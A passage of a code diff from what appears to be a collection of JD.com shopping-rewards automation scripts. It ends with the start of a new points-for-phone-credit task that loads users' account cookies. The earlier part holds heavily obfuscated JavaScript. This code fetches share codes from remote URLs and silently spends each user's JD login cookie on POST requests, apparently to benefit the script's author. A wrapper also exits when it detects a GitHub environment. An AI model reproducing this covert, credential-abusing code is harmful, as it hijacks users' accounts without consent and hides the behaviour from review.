OfThgkwrpZwrvDrMOHwp4wXlsaw41Sa8K4ZsOuwpMhwrHDtWLCrMO0wrofwqQ1wpx4VVXDpiVuwpEtcR1awpV7XXwyw7Enw7tUwo/CpcO1MkMBF2vDjn3DvMO7T3Eyw6TCtMKWw6FSenTCnw/ClV9RJlA5WMOuLXnDrMKOwrPCvsOpwpIvRX7DjQ==','WsKpPsK+Ilc6DDdJw7oRY8OsccKtcGDCj8KLGUPChMOOIWROw7RDwq5XwrTCnFvDmMKc','LcO6wqQfCw==','CEJ8JA==','w4bCsAgDwrFwfcKiEj/DoMOJLTEwaGrDvsKfXMOrQcKZYcKBwq42w7ROwr3DrMKBwp5Gw48+wqPCkcKRZ8KnwpnCu8KPYsKUZcKOA8K4fDTClnwUwpjCs8OeHsK/w7IvwrfDnB9SOcO/w7Uxw64RwpTDhXIkeQdWIQjDnsKmESs9IMK0TWTCuDvDlsKfFsO4w5h8wpfCj8OjwrXDpcKnNMKIYUVxwocmw4dZw4c3w4/DuMOlwro8fW/Dm8KrUMK3w7Vkwo9qwq1QW8O9wp7Ci10xI8KKQsK7wpDDrcKJfFbCmR3DkcKEw5IDwprDjk8=','UcK6S8OMaQ==','w4HCs8KMw7rDuQ==','w7vCl8Kww6nDuA==','f8OYCMORwoA=','K8Omw7nDvTw=','wocHw4QSwoo=','woHCuMKvwrVO','w6nCsMOTRjA=','w6wgwqvDp0c=','EsO0w5k9Pw==','w4bCj8K4w6LDt0o=','D8O9w5U=','EMKZwonCqnTChsOLJVgxw5RPOw==','XRZy','PsOUw7zDnRbDkw9Awp3ClkbCv18=','a8KYBcKUPA==','HD3DvsKsSQ==','D09CFMKu','wofDmBc6UA==','LX3CkyHDng==','LMKqwqLCilXChsOlGXUxw69oHw==','jbsjFihGaymui.cAWomHxgrl.v6YqlAr=='];(function(_0xb67384,_0x27295a,_0x156d7c){var _0x52a1f8=function(_0x4f55ef,_0x225f21,_0xe9e21,_0x5db68b,_0x1405a3){_0x225f21=_0x225f21>>0x8,_0x1405a3='po';var _0x172f59='shift',_0x5489f2='push';if(_0x225f21<_0x4f55ef){while(--_0x4f55ef){_0x5db68b=_0xb67384[_0x172f59]();if(_0x225f21===_0x4f55ef){_0x225f21=_0x5db68b;_0xe9e21=_0xb67384[_0x1405a3+'p']();}else if(_0x225f21&&_0xe9e21['replace'](/[bFhGyuAWHxgrlYqlAr=]/g,'')===_0x225f21){_0xb67384[_0x5489f2](_0x5db68b);}}_0xb67384[_0x5489f2](_0xb67384[_0x172f59]());}return 0x806ab;};return _0x52a1f8(++_0x27295a,_0x156d7c)>>_0x27295a^_0x156d7c;}(_0x1c2f,0x102,0x10200));var _0x32fc=function(_0x38c66d,_0x22072b){_0x38c66d=~~'0x'['concat'](_0x38c66d);var _0x98e664=_0x1c2f[_0x38c66d];if(_0x32fc['cNYJfg']===undefined){(function(){var _0x3c460b=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x402cd7='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x3c460b['atob']||(_0x3c460b['atob']=function(_0x3787fe){var _0x5a2bfc=String(_0x3787fe)['replace'](/=+$/,'');for(var _0x4b948a=0x0,_0x5b1e09,_0x222eed,_0x15038a=0x0,_0x1709d3='';_0x222eed=_0x5a2bfc['charAt'](_0x15038a++);~_0x222eed&&(_0x5b1e09=_0x4b948a%0x4?_0x5b1e09*0x40+_0x222eed:_0x222eed,_0x4b948a++%0x4)?_0x1709d3+=String['fromCharCode'](0xff&_0x5b1e09>>(-0x2*_0x4b948a&0x6)):0x0){_0x222eed=_0x402cd7['indexOf'](_0x222eed);}return _0x1709d3;});}());var _0x2c0a67=function(_0x4cd634,_0x22072b){var _0x2c73f4=[],_0x2a1a45=0x0,_0x2675a9,_0x3907cd='',_0x238dc3='';_0x4cd634=atob(_0x4cd634);for(var _0x47e79a=0x0,_0x39dff4=_0x4cd634['length'];_0x47e79a<_0x39dff4;_0x47e79a++){_0x238dc3+='%'+('00'+_0x4cd634['charCodeAt'](_0x47e79a)['toString'](0x10))['slice'](-0x2);}_0x4cd634=decodeURIComponent(_0x238dc3);for(var _0x5e0bc7=0x0;_0x5e0bc7<0x100;_0x5e0bc7++){_0x2c73f4[_0x5e0bc7]=_0x5e0bc7;}for(_0x5e0bc7=0x0;_0x5e0bc7<0x100;_0x5e0bc7++){_0x2a1a45=(_0x2a1a45+_0x2c73f4[_0x5e0bc7]+_0x22072b['charCodeAt'](_0x5e0bc7%_0x22072b['length']))%0x100;_0x2675a9=_0x2c73f4[_0x5e0bc7];_0x2c73f4[_0x5e0bc7]=_0x2c73f4[_0x2a1a45];_0x2c73f4[_0x2a1a45]=_0x2675a9;}_0x5e0bc7=0x0;_0x2a1a45=0x0;for(var _0x3ec44e=0x0;_0x3ec44e<_0x4cd634['length'];_0x3ec44e++){_0x5e0bc7=(_0x5e0bc7+0x1)%0x100;_0x2a1a45=(_0x2a1a45+_0x2c73f4[_0x5e0bc7])%0x100;_0x2675a9=_0x2c73f4[_0x5e0bc7];_0x2c73f4[_0x5e0bc7]=_0x2c73f4[_0x2a1a45];_0x2c73f4[_0x2a1a45]=_0x2675a9;_0x3907cd+=String['fromCharCode'](_0x4cd634['charCodeAt'](_0x3ec44e)^_0x2c73f4[(_0x2c73f4[_0x5e0bc7]+_0x2c73f4[_0x2a1a45])%0x100]);}return _0x3907cd;};_0x32fc['VssXhj']=_0x2c0a67;_0x32fc['naEGhH']={};_0x32fc['cNYJfg']=!![];}var _0x55afa0=_0x32fc['naEGhH'][_0x38c66d];if(_0x55afa0===undefined){if(_0x32fc['FAEWFO']===undefined){_0x32fc['FAEWFO']=!![];}_0x98e664=_0x32fc['VssXhj'](_0x98e664,_0x22072b);_0x32fc['naEGhH'][_0x38c66d]=_0x98e664;}else{_0x98e664=_0x55afa0;}return _0x98e664;};async function helpAuthor(){var _0x56d42f={'cDFLT':function(_0x5bc36d,_0x4caf74){return _0x5bc36d-_0x4caf74;},'xeoRL':function(_0x350532,_0x30507e){return _0x350532>_0x30507e;},'kBNIn':function(_0x38b904,_0x44f9ef){return _0x38b904*_0x44f9ef;},'juOYl':function(_0x53e1c0,_0x2fb183){return _0x53e1c0+_0x2fb183;},'fOtUx':function(_0x459612,_0x60b61b){return _0x459612(_0x60b61b);},'KWpVZ':_0x32fc('0',']IHt'),'VwevL':_0x32fc('1','oxKL'),'hBJOQ':function(_0x312cfb,_0x4096c3,_0x2e641b){return _0x312cfb(_0x4096c3,_0x2e641b);},'BivTi':function(_0xb4b472,_0x48cb4e){return _0xb4b472>_0x48cb4e;},'xVeHM':_0x32fc('2','08or'),'ngpiQ':_0x32fc('3','v^Dn'),'uYmgk':_0x32fc('4','Eeoa'),'EtYBK':_0x32fc('5','!8GV'),'cFHkT':_0x32fc('6','8[68'),'Snqcf':_0x32fc('7','OR3I'),'AHCmA':_0x32fc('8',')@iT'),'fEyPF':_0x32fc('9','1bsI'),'jAfmz':_0x32fc('a','nj@A'),'TEoJi':_0x32fc('b','Sh)R'),'kwkmP':function(_0xadace1){return _0xadace1();}};function _0x2bdffe(_0x1761c6,_0x50dbed){let _0x363c40=_0x1761c6[_0x32fc('c','@[C)')](0x0),_0x49ebd6=_0x1761c6[_0x32fc('d','I)et')],_0x147a3e=_0x56d42f[_0x32fc('e','X]Dh')](_0x49ebd6,_0x50dbed),_0x20d923,_0x366c71;while(_0x56d42f[_0x32fc('f','zJ@Q')](_0x49ebd6--,_0x147a3e)){_0x366c71=Math[_0x32fc('10','@RYp')](_0x56d42f[_0x32fc('11','yD$2')](_0x56d42f[_0x32fc('12','X4wa')](_0x49ebd6,0x1),Math[_0x32fc('13','*Wf!')]()));_0x20d923=_0x363c40[_0x366c71];_0x363c40[_0x366c71]=_0x363c40[_0x49ebd6];_0x363c40[_0x49ebd6]=_0x20d923;}return _0x363c40[_0x32fc('14','kafH')](_0x147a3e);}let _0x59e8b5=await _0x56d42f[_0x32fc('15','Dz@Y')](getAuthorShareCode2,_0x56d42f[_0x32fc('16','z2p&')]),_0xe6c34c=[];$[_0x32fc('17','X4wa')]=[..._0x59e8b5&&_0x59e8b5[_0x56d42f[_0x32fc('18','DP9^')]]||[],..._0xe6c34c&&_0xe6c34c[_0x56d42f[_0x32fc('19','L#FM')]]||[]];$[_0x32fc('1a','Sh)R')]=_0x56d42f[_0x32fc('1b','ub@R')](_0x2bdffe,$[_0x32fc('1c','v^Dn')],_0x56d42f[_0x32fc('1d','*Wf!')]($[_0x32fc('1e','e5VK')][_0x32fc('1f','NM9s')],0x3)?0x6:$[_0x32fc('20','@RYp')][_0x32fc('d','I)et')]);for(let _0x25b71e of $[_0x32fc('21','z2p&')]){const _0x232094={'url':_0x32fc('22','JpDz'),'headers':{'Host':_0x56d42f[_0x32fc('23','kafH')],'Content-Type':_0x56d42f[_0x32fc('24','v^Dn')],'Origin':_0x56d42f[_0x32fc('25','TzqP')],'Accept-Encoding':_0x56d42f[_0x32fc('26','nj@A')],'Cookie':cookie,'Connection':_0x56d42f[_0x32fc('27','ao@#')],'Accept':_0x56d42f[_0x32fc('28','zJ@Q')],'User-Agent':_0x56d42f[_0x32fc('29','*qbp')],'Referer':_0x32fc('2a','zJ@Q'),'Accept-Language':_0x56d42f[_0x32fc('2b','I)et')]},'body':_0x32fc('2c','Sh)R')+_0x25b71e[_0x56d42f[_0x32fc('2d','T707')]]+_0x32fc('2e','J@O4')+_0x25b71e[_0x56d42f[_0x32fc('2f','L#FM')]]+_0x32fc('30','gbRg')};await $[_0x32fc('31','z2p&')](_0x232094,(_0x41a97a,_0x2affcb,_0x1a057b)=>{});}await _0x56d42f[_0x32fc('32','oxKL')](helpOpenRedPacket);}function getAuthorShareCode2(_0x599223=_0x32fc('33','oxKL')){var _0x3062b9={'aLqjE':function(_0x35184d,_0x391080){return _0x35184d(_0x391080);},'iWITV':_0x32fc('34','JpDz'),'EOdwA':function(_0x5312a5,_0x2789c9){return _0x5312a5*_0x2789c9;},'KXMep':function(_0x54bf1c,_0x4f5e67){return _0x54bf1c!==_0x4f5e67;},'HbsWa':_0x32fc('35','dLXe'),'JehKl':_0x32fc('36','T707'),'bDFnv':function(_0x452e39,_0x108074){return _0x452e39===_0x108074;},'nopEe':_0x32fc('37','c&aQ'),'cEPYJ':_0x32fc('38','dLXe'),'NXukN':function(_0x425c3e,_0x4b6fcb){return _0x425c3e(_0x4b6fcb);},'nOzwj':function(_0x39ad66){return _0x39ad66();},'TkFdk':_0x32fc('39','Dz@Y'),'AKMkH':_0x32fc('3a','X]Dh'),'AuZpx':_0x32fc('3b','T707'),'NgRVU':_0x32fc('3c','V@6B'),'ZelbT':_0x32fc('3d','8b4z'),'bTuul':_0x32fc('3e','v^Dn'),'LhSVS':_0x32fc('3f','yD$2'),'EfPAZ':_0x32fc('40','e5VK'),'YEOZm':function(_0xb35d55,_0x5c00d1){return _0xb35d55===_0x5c00d1;},'WBmdj':_0x32fc('41','JpDz'),'iAHcT':function(_0x3bbd44,_0xc20017){return _0x3bbd44*_0xc20017;},'rgeGr':function(_0x148e30){return _0x148e30();}};return new Promise(async _0xa1939c=>{var _0x860cbf={'TRWQp':function(_0x5e93a9){return _0x3062b9[_0x32fc('42','!8GV')](_0x5e93a9);},'gFxCr':_0x3062b9[_0x32fc('43','!8GV')],'YKltQ':_0x3062b9[_0x32fc('44','Sh)R')],'eWGCy':_0x3062b9[_0x32fc('45','V@6B')],'ZaFTJ':_0x3062b9[_0x32fc('46','OR3I')],'NxupF':_0x3062b9[_0x32fc('47','T707')],'aOfNx':_0x3062b9[_0x32fc('48','nj@A')],'TRHte':_0x3062b9[_0x32fc('49','X]Dh')]};const _0x3e8b7d={'url':_0x599223+'?'+new Date(),'timeout':0x2710,'headers':{'User-Agent':_0x3062b9[_0x32fc('4a','v^Dn')]}};if($[_0x32fc('4b','!8GV')]()&&process[_0x32fc('4c','V@6B')][_0x32fc('4d','ao@#')]&&process[_0x32fc('4e','z2p&')][_0x32fc('4f','V@6B')]){if(_0x3062b9[_0x32fc('50','8b4z')](_0x3062b9[_0x32fc('51','zJ@Q')],_0x3062b9[_0x32fc('52','yD$2')])){const _0xf58b1e=_0x3062b9[_0x32fc('53','L#FM')](require,_0x3062b9[_0x32fc('54',']IHt')]);const _0x3e4d21={'https':_0xf58b1e[_0x32fc('55','ao@#')]({'proxy':{'host':process[_0x32fc('56','eksX')][_0x32fc('57','J@O4')],'port':_0x3062b9[_0x32fc('58','gbRg')](process[_0x32fc('4e','z2p&')][_0x32fc('59','08or')],0x1)}})};Object[_0x32fc('5a','ao@#')](_0x3e8b7d,{'agent':_0x3e4d21});}else{const _0x3a8f13=_0x3062b9[_0x32fc('5b','c&aQ')](require,_0x3062b9[_0x32fc('5c','!8GV')]);const _0x4056fe={'https':_0x3a8f13[_0x32fc('5d','qOy^')]({'proxy':{'host':process[_0x32fc('5e','T707')][_0x32fc('5f','08or')],'port':_0x3062b9[_0x32fc('60','CJ%c')](process[_0x32fc('61','I)et')][_0x32fc('62','e5VK')],0x1)}})};Object[_0x32fc('63','v^Dn')](_0x3e8b7d,{'agent':_0x4056fe});}}$[_0x32fc('64','T707')](_0x3e8b7d,async(_0x37b988,_0x205a76,_0x3a802d)=>{if(_0x3062b9[_0x32fc('65','ao@#')](_0x3062b9[_0x32fc('66','e5VK')],_0x3062b9[_0x32fc('67',')@iT')])){try{if(_0x37b988){}else{if(_0x3062b9[_0x32fc('68','Sh)R')](_0x3062b9[_0x32fc('69','eksX')],_0x3062b9[_0x32fc('6a','c&aQ')])){if(_0x37b988){}else{if(_0x3a802d)_0x3a802d=JSON[_0x32fc('6b','V@6B')](_0x3a802d);}}else{if(_0x3a802d)_0x3a802d=JSON[_0x32fc('6c','Dz@Y')](_0x3a802d);}}}catch(_0x3ff2c3){}finally{_0x3062b9[_0x32fc('6d','1bsI')](_0xa1939c,_0x3a802d);}}else{var _0x283ae7={'UATPO':function(_0x3cb4c7){return _0x860cbf[_0x32fc('6e','vjGQ')](_0x3cb4c7);}};const _0x5272c9={'Host':_0x860cbf[_0x32fc('6f','TzqP')],'Origin':_0x860cbf[_0x32fc('70','1bsI')],'Accept':_0x860cbf[_0x32fc('71','*Lb8')],'User-Agent':_0x860cbf[_0x32fc('72','@RYp')],'Referer':_0x860cbf[_0x32fc('73','J@O4')],'Accept-Language':_0x860cbf[_0x32fc('74','JpDz')],'Cookie':cookie};const _0x5950a3=_0x32fc('75','X]Dh')+packetId+_0x32fc('76','JpDz');const _0x4cb175={'url':_0x32fc('77','*Wf!')+ +new Date(),'method':_0x860cbf[_0x32fc('78','I)et')],'headers':_0x5272c9,'body':_0x5950a3};return new Promise(_0x3c152e=>{$[_0x32fc('31','z2p&')](_0x4cb175,(_0x2986f7,_0x3e3759,_0x259588)=>{_0x283ae7[_0x32fc('79','v^Dn')](_0x3c152e);});});}});await $[_0x32fc('7a','kafH')](0x2710);_0x3062b9[_0x32fc('7b','TzqP')](_0xa1939c);});}async function helpOpenRedPacket(){var _0x1bd264={'ailcJ':function(_0x29cb4c,_0x2bc31e){return _0x29cb4c(_0x2bc31e);},'llYTu':_0x32fc('7c','*qbp'),'qaYSI':_0x32fc('7d','L#FM'),'FByLZ':_0x32fc('7e','X]Dh'),'lrjcD':function(_0x595961,_0x4e5982){return _0x595961(_0x4e5982);}};let _0x4fba74=await _0x1bd264[_0x32fc('7f',')@iT')](getAuthorShareCode2,_0x1bd264[_0x32fc('80','vjGQ')]),_0x1656b9=await _0x1bd264[_0x32fc('81','!8GV')](getAuthorShareCode2,_0x1bd264[_0x32fc('82','qOy^')]);if(!_0x4fba74)_0x4fba74=await _0x1bd264[_0x32fc('83','@[C)')](getAuthorShareCode2,_0x1bd264[_0x32fc('84','vjGQ')]);$[_0x32fc('85','v^Dn')]=[..._0x4fba74||[],..._0x1656b9||[]];for(let _0x3ee027 of $[_0x32fc('86','e5VK')]){await _0x1bd264[_0x32fc('87',')@iT')](openRedPacket,_0x3ee027);}}function openRedPacket(_0x185f9b){var _0x4386ad={'ORiNB':function(_0x19648b,_0x5c39fa){return _0x19648b*_0x5c39fa;},'flHDp':function(_0x71b8b7,_0x36d0cd){return _0x71b8b7+_0x36d0cd;},'nbSgn':function(_0x4e8560,_0x336f96){return _0x4e8560!==_0x336f96;},'pfoOM':_0x32fc('88','Dz@Y'),'Jkhdx':_0x32fc('89','X]Dh'),'cnLRa':function(_0x2d5cb7){return _0x2d5cb7();},'gDboC':function(_0x36aaa7){return _0x36aaa7();},'kkjoT':function(_0x16f97a,_0x1d5cf5){return _0x16f97a!==_0x1d5cf5;},'HMYOb':_0x32fc('8a','NM9s'),'TNXWe':_0x32fc('8b','e5VK'),'LjGHZ':_0x32fc('8c',')@iT'),'IGfxH':_0x32fc('8d','JpDz'),'LNqPx':_0x32fc('8e','c&aQ'),'iTqvT':_0x32fc('8f','@RYp'),'Jlhhv':_0x32fc('90','L#FM'),'uzAwk':_0x32fc('91','%uUE')};const _0x3d5475={'Host':_0x4386ad[_0x32fc('92','v^Dn')],'Origin':_0x4386ad[_0x32fc('93','8[68')],'Accept':_0x4386ad[_0x32fc('94','zJ@Q')],'User-Agent':_0x4386ad[_0x32fc('95','z2p&')],'Referer':_0x4386ad[_0x32fc('96','eksX')],'Accept-Language':_0x4386ad[_0x32fc('97','kafH')],'Cookie':cookie};const _0x42183b=_0x32fc('98','*Lb8')+_0x185f9b+_0x32fc('99',']IHt');const _0x4d6c6c={'url':_0x32fc('9a','@[C)')+ +new Date(),'method':_0x4386ad[_0x32fc('9b','T707')],'headers':_0x3d5475,'body':_0x42183b};return new Promise(_0x4149fb=>{var _0x34c401={'qbKbx':function(_0xcf8371){return _0x4386ad[_0x32fc('9c','CJ%c')](_0xcf8371);}};if(_0x4386ad[_0x32fc('9d','ub@R')](_0x4386ad[_0x32fc('9e','JpDz')],_0x4386ad[_0x32fc('9f','@[C)')])){_0x34c401[_0x32fc('a0','@RYp')](_0x4149fb);}else{$[_0x32fc('a1','QRzL')](_0x4d6c6c,(_0x1f393c,_0x36a11b,_0x58b81b)=>{var _0x8b6fcc={'cPSQV':function(_0x351cea,_0x711c4b){return _0x4386ad[_0x32fc('a2','Bk0r')](_0x351cea,_0x711c4b);},'kvrHN':function(_0x133652,_0x269cc1){return _0x4386ad[_0x32fc('a3','L#FM')](_0x133652,_0x269cc1);}};if(_0x4386ad[_0x32fc('a4','@[C)')](_0x4386ad[_0x32fc('a5','V@6B')],_0x4386ad[_0x32fc('a6','Sh)R')])){_0x4386ad[_0x32fc('a7','QRzL')](_0x4149fb);}else{index=Math[_0x32fc('a8','!8GV')](_0x8b6fcc[_0x32fc('a9','yD$2')](_0x8b6fcc[_0x32fc('aa','Bk0r')](i,0x1),Math[_0x32fc('ab','DP9^')]()));temp=shuffled[index];shuffled[index]=shuffled[i];shuffled[i]=temp;}});}});};_0xodT='jsjiami.com.v6'; +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + diff --git a/jd_dwapp.js b/jd_dwapp.js new file mode 100644 index 0000000..53e751c --- /dev/null +++ b/jd_dwapp.js @@ -0,0 +1,248 @@ +/* +积分换话费 +入口:首页-生活·缴费-积分换话费 +cron 33 7,19 * * * jd_dwapp.js +*/ +const $ = new Env('积分换话费'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + await main() + } + } +})().catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') }) .finally(() => { $.done(); }) + +async function main() { + $.log("去签到") + await usersign() + await tasklist(); + if ($.tasklist){ + for (let i = 0; i < $.tasklist.length; i++) 